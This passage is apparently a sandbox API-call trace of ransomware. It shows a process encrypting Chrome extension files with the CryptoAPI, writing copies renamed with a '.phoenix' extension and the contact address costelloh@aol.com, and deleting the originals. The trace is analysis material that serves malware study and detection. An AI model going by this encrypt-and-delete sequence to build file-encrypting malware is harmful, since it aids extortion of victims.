	[0260.805] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0260.805] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.805] ReadFile (in: hFile=0x258, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.806] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.806] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.807] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0260.807] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.807] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.807] CryptDestroyKey (hKey=0x151380) returned 1
	[0260.807] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.807] CryptDestroyKey (hKey=0x151040) returned 1
	[0260.807] CloseHandle (hObject=0x258) returned 1
	[0260.808] CloseHandle (hObject=0x250) returned 1
	[0260.808] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json")) returned 1
	[0260.810] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.810] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.810] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.810] CloseHandle (hObject=0x250) returned 1
	[0260.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json")) returned 0x20
	[0260.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.810] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.811] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.811] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.811] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.811] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0260.811] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.811] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.812] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.812] WriteFile (in: hFile=0x258, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.813] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151380) returned 1
	[0260.813] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.813] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.813] CryptDestroyKey (hKey=0x151380) returned 1
	[0260.813] WriteFile (in: hFile=0x258, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.814] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.814] CloseHandle (hObject=0x250) returned 1
	[0260.814] CloseHandle (hObject=0x258) returned 1
	[0260.814] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json")) returned 1
	[0260.816] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.816] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.817] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.817] CloseHandle (hObject=0x258) returned 1
	[0260.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json")) returned 0x20
	[0260.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.817] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0260.817] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.817] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.817] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.818] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0260.818] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.818] ReadFile (in: hFile=0x258, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.934] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.934] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0261.055] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0261.055] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.055] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.055] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.055] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.061] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.061] CloseHandle (hObject=0x258) returned 1
	[0261.061] CloseHandle (hObject=0x250) returned 1
	[0261.065] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json")) returned 1
	[0261.068] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.069] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.073] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4355) returned 1
	[0261.074] CloseHandle (hObject=0x310) returned 1
	[0261.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js")) returned 0x20
	[0261.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.074] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.074] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.075] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0261.075] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.075] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1103, lpOverlapped=0x0) returned 1
	[0261.129] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1110, dwBufLen=0x1110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1110) returned 1
	[0261.129] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1110, lpOverlapped=0x0) returned 1
	[0261.130] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0261.130] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.130] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0261.130] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.130] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0261.130] CryptDestroyKey (hKey=0x151540) returned 1
	[0261.130] CloseHandle (hObject=0x310) returned 1
	[0261.130] CloseHandle (hObject=0x2c0) returned 1
	[0261.130] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js")) returned 1
	[0261.132] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.132] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.133] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=854) returned 1
	[0261.133] CloseHandle (hObject=0x2c0) returned 1
	[0261.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json")) returned 0x20
	[0261.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0261.133] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.133] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.134] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151300) returned 1
	[0261.134] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.134] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x356, lpOverlapped=0x0) returned 1
	[0261.214] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x360, dwBufLen=0x360 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x360) returned 1
	[0261.214] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x360, lpOverlapped=0x0) returned 1
	[0261.215] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0261.215] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.215] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0261.215] CryptDestroyKey (hKey=0x151140) returned 1
	[0261.215] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0261.215] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.215] CloseHandle (hObject=0x2c0) returned 1
	[0261.215] CloseHandle (hObject=0x310) returned 1
	[0261.215] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json")) returned 1
	[0261.217] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
